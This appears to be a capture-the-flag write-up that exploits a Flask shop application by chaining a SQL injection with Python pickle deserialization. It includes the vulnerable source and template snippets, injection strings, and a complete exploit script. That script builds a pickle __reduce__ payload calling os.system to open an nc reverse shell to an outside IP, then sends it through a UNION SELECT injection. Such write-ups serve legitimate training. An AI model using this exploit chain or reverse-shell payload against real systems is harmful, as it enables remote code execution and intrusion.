The first vulnerability
There’s a SQL injection in the models.py
file. The select_by_id
doesn’t sanitize any user input. We’re able to validate this by inserting the payload /view/‘ or 1=1 —
and observe that the page just renders perfectly normal.
from application.database import query_db
class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
The second vulnerability
This is in the database.py
file In this code below we see that the file schema.sql
is being decoded with pickle.dumps
this shows a python pickle deserialization
vulnerability.
from flask import g
from application import app
from sqlite3 import dbapi2 as sqlite3
import base64, pickle
def connect_db():
return sqlite3.connect('cop.db', isolation_level=None)
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = connect_db()
db.row_factory = sqlite3.Row
return db
def query_db(query, args=(), one=False):
with app.app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], value) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (next(iter(rv[0].values())) if rv else None) if one else rv
class Item:
def __init__(self, name, description, price, image):
self.name = name
self.description = description
self.image = image
self.price = price
def migrate_db():
items = [
Item('Pickle Shirt', 'Get our new pickle shirt!', '23', '/static/images/pickle_shirt.jpg'),
Item('Pickle Shirt 2', 'Get our (second) new pickle shirt!', '27', '/static/images/pickle_shirt2.jpg'),
Item('Dill Pickle Jar', 'Literally just a pickle', '1337', '/static/images/pickle.jpg'),
Item('Branston Pickle', 'Does this even fit on our store?!?!', '7.30', '/static/images/branston_pickle.jpg')
]
with open('schema.sql', mode='r') as f:
shop = map(lambda x: base64.b64encode(pickle.dumps(x)).decode(), items)
get_db().cursor().executescript(f.read().format(*list(shop)))
It is first being used /templates/index.html
<section class="py-5">
<div class="container px-4 px-lg-5 mt-5">
<div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
{% for product in products %}
{% set item = product.data | pickle %}
And then in the /templates/item.html
file the pickle value is being used in the product
<!-- Product section-->
<section class="py-5">
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{% set item = product | pickle %}
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{{ item.image }}" alt="..." /></div>
<div class="col-md-6">
<h1 class="display-5 fw-bolder">{{ item.name }}</h1>
<div class="fs-5 mb-5">
<span>£{{ item.price }}</span>
</div>
<p class="lead">{{ item.description }}</p>
</div>
Creating a payload trough Python Pickle
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('<payload>',)) #Example: nc 192.168.2.177 9001 -e sh
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
#output: gASVNgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBtuYyAxOTIuMTY4LjIuMTc3IDkwMDEgLWUgc2iUhZRSlC4=
At first I thought of doing something like this. But this wasn’t working
/view/'; UPDATE products SET data = '<payload>' WHERE id = 4;--
So switched up and tried the following which worked
/view/' UNION SELECT '<payload>' --
Final Exploit
This is the full exploit. Don’t forget to setup the listener.
import pickle
import base64
import os
import requests
class Exploit:
def __reduce__(self):
return (os.system, ('nc <local_ip> 9001 -e sh',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
if __name__ == "__main__":
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
sql_payload = f"' UNION SELECT '{payload}' -- "
exploit_payload = requests.utils.requote_uri(sql_payload)
requests.get(f"http://<target_ip>/view/{exploit_payload}")